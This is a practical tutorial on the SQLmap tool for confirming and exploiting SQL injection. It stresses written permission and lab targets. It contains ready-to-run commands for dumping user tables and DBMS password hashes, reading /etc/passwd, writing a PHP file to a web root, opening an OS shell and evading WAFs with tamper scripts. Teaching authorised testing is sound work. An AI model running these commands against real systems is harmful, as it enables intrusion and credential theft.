SQLmap is the de-facto tool for confirming SQL injection. Pointing it at the wrong target or running it with default aggression is also the easiest way to break a production database, so the difference between "ran the demo" and "used SQLmap effectively" matters.
This is the workflow, the flags worth knowing, and the gotchas that bite first-timers.
TL;DR
- SQLmap automates the boring half of SQLi exploitation (boolean blind, time-based blind, error-based, UNION, stacked queries).
- Always start with
--batch --level=1 --risk=1. Crank up only when needed. - Use
-ufor URL params,-rfor full HTTP requests (especially with auth). - Never run against assets you don't have explicit written permission to test. SQLmap is loud and destructive on real production data.
Legal preamble
This tool is for authorised security testing only. Running SQLmap against a target you don't own or don't have explicit permission to test is a crime in most jurisdictions. Use your own apps, intentionally-vulnerable test apps (DVWA, OWASP Juice Shop, sqli-labs), or assets covered by a written engagement.
Install
# Most package managers ship it
brew install sqlmap # macOS
sudo apt install sqlmap # Debian / Ubuntu
# Or clone — guarantees latest
git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git
cd sqlmap && python3 sqlmap.py --version
The git checkout is what most pentesters use because the project moves fast and apt repos lag.
The minimal first run
Against a known-vulnerable lab target with a query string parameter:
sqlmap -u "http://target.local/products.php?id=1" --batch
What SQLmap does:
- Tests
idfor various injection techniques (boolean blind, time-based, error-based, UNION-based). - Identifies the DBMS (MySQL, PostgreSQL, MSSQL, etc.).
- Reports which techniques worked.
--batch accepts SQLmap's default answers to every prompt. Without it you'll be hitting enter constantly.
Levels and risks
Two flags control how aggressive SQLmap is:
--level=1..5— how many places to inject (default 1: query string only; 5: also tests cookies, headers, custom positions)--risk=1..3— how risky the test payloads are (default 1; 3 includes payloads that can modify data)
sqlmap -u "..." --level=3 --risk=2 --batch
Realistic guidance: start at --level=1 --risk=1. If nothing turns up and the param really looks vulnerable, escalate to --level=3 --risk=2. Avoid --risk=3 unless you're scanning a target you fully control — it includes payloads that can corrupt data.
Authentication
For anything past the public homepage, you'll need auth. Three options:
Cookie:
sqlmap -u "http://target/profile?id=5" --cookie="session=eyJhbGciOi..." --batch
Saved HTTP request (the cleanest option):
Capture a request in Burp / ZAP and save it to a file:
POST /api/v1/search HTTP/1.1
Host: target.example.com
Cookie: session=eyJhbGciOi...
Content-Type: application/json
{"q":"laptop"}
Then:
sqlmap -r request.txt --batch
SQLmap parses the request file, identifies injectable parameters, and tests them with the auth context preserved. This is the workflow you'll use most often in real engagements.
Login flow:
sqlmap -u "http://target/search?q=test" \
--auth-type=basic --auth-cred="user:pass" --batch
For form-based login you'll need to capture the post-login session and use --cookie or -r.
Targeting specific parameters
By default SQLmap tests every parameter it finds. Narrow it:
sqlmap -r request.txt -p "search,id" --batch
For JSON requests, point at the field with --data and --method:
sqlmap -u "http://target/api/search" --method=POST \
--data='{"q":"laptop"}' --headers='Content-Type: application/json' \
--batch
For deeply-nested JSON, mark the test point with *:
sqlmap -u "http://target/api/search" --method=POST \
--data='{"filter":{"name":"laptop*"}}' --batch
The * tells SQLmap "inject here specifically".
After confirmation: extraction
Once SQLmap confirms an injection, you walk down the database:
# 1. List databases
sqlmap -r request.txt --batch --dbs
# 2. Show tables in a database
sqlmap -r request.txt --batch -D production --tables
# 3. Show columns in a table
sqlmap -r request.txt --batch -D production -T users --columns
# 4. Dump specific columns
sqlmap -r request.txt --batch -D production -T users -C email,password_hash --dump
# 5. Dump the whole table
sqlmap -r request.txt --batch -D production -T users --dump
Use --dump-all only as a last resort. It can take hours and writes a lot of disk.
OS-level interaction
Once SQLmap has confirmed deep enough access (often --risk=3 or a stacked-queries injection on MSSQL/MySQL):
# Read a file from the DB server's filesystem (DB user must have privileges)
sqlmap -r request.txt --batch --file-read=/etc/passwd
# Write a file
sqlmap -r request.txt --batch --file-write=local.php --file-dest=/var/www/uploaded.php
# Get an OS shell (if stacked queries / xp_cmdshell etc. are available)
sqlmap -r request.txt --batch --os-shell
These are the "this is now an active engagement" features. Make sure your scope explicitly covers them.
Useful auxiliary flags
--current-db # which database is the app using?
--current-user # which DB user?
--is-dba # is the user a DBA?
--privileges # what can it do?
--passwords # dump DBMS hashes
--threads=10 # parallel requests (default 1, max 10)
--random-agent # randomise User-Agent per request
--proxy=http://127.0.0.1:8080 # route through Burp / ZAP for inspection
--delay=0.5 # sleep between requests (rate limiting)
--timeout=30 # request timeout
--retries=3 # retries on timeout
--tamper=between,space2comment # apply tamper scripts for WAF evasion
--proxy=http://127.0.0.1:8080 is especially useful — you can watch SQLmap's traffic in Burp / ZAP to understand what payloads it's sending and confirm your filter / WAF is behaving as expected.
Tamper scripts and WAFs
Out of the box, SQLmap's payloads will be flagged by most WAFs. Tamper scripts mutate payloads to evade common signatures:
sqlmap -u "..." --tamper=space2comment,charencode --batch
Useful tampers:
| Tamper | What it does |
|--------|--------------|
| space2comment | Replaces spaces with /**/ |
| charencode | URL-encodes characters |
| between | Replaces = with BETWEEN ... AND ... |
| randomcase | Randomises case across the payload |
| concat2concatws | Replaces CONCAT() with CONCAT_WS() |
| apostrophenullencode | Encodes single quotes with %00%27 |
The full list is in sqlmap --list-tampers. Chain them with commas; order matters.
Working with sessions
SQLmap caches results in ~/.sqlmap/output/<host>/. Subsequent runs against the same target resume rather than restart.
sqlmap -u "..." --flush-session --batch # start fresh
sqlmap -u "..." --output-dir=./sqlmap-out --batch
When working on a real engagement, set --output-dir to a project-specific folder. The default ~/.sqlmap directory becomes unwieldy across many targets.
Common pitfalls
- Running at
--risk=3against production. Some payloads change data. Use risk 1 for first confirmation; escalate deliberately. - Treating
--batchas "safe". It just accepts defaults — those defaults still send invasive payloads. - Ignoring the DBMS hint and letting SQLmap test all of them. Specify
--dbms=mysql(or whatever you know it is) to skip irrelevant probes. - Not using
-rfor authenticated requests. Manually specifying cookies / headers is error-prone; saved request files preserve everything. --threads=10against a fragile target. Concurrency can take down weak backends.- Forgetting
--proxy=when you need to inspect. Running SQLmap blind to a WAF without watching the requests in Burp wastes time.
When SQLmap is the wrong tool
- Pre-confirmation reconnaissance. Use a DAST tool like OWASP ZAP or Nuclei to find candidate injection points first. SQLmap is then used to confirm and exploit specific findings.
- NoSQL injection. SQLmap is, despite the name, SQL only. NoSQL injection in MongoDB, etc., needs different tooling.
- Second-order / stored injection. SQLmap mostly tests the immediate request; it can't follow a value that's injected into one endpoint and triggered later by another.
Further reading
- SQLmap wiki — github.com/sqlmapproject/sqlmap/wiki/Usage
- DVWA (legal practice target) — github.com/digininja/DVWA
- Our ZAP guide — active vs passive scanning explained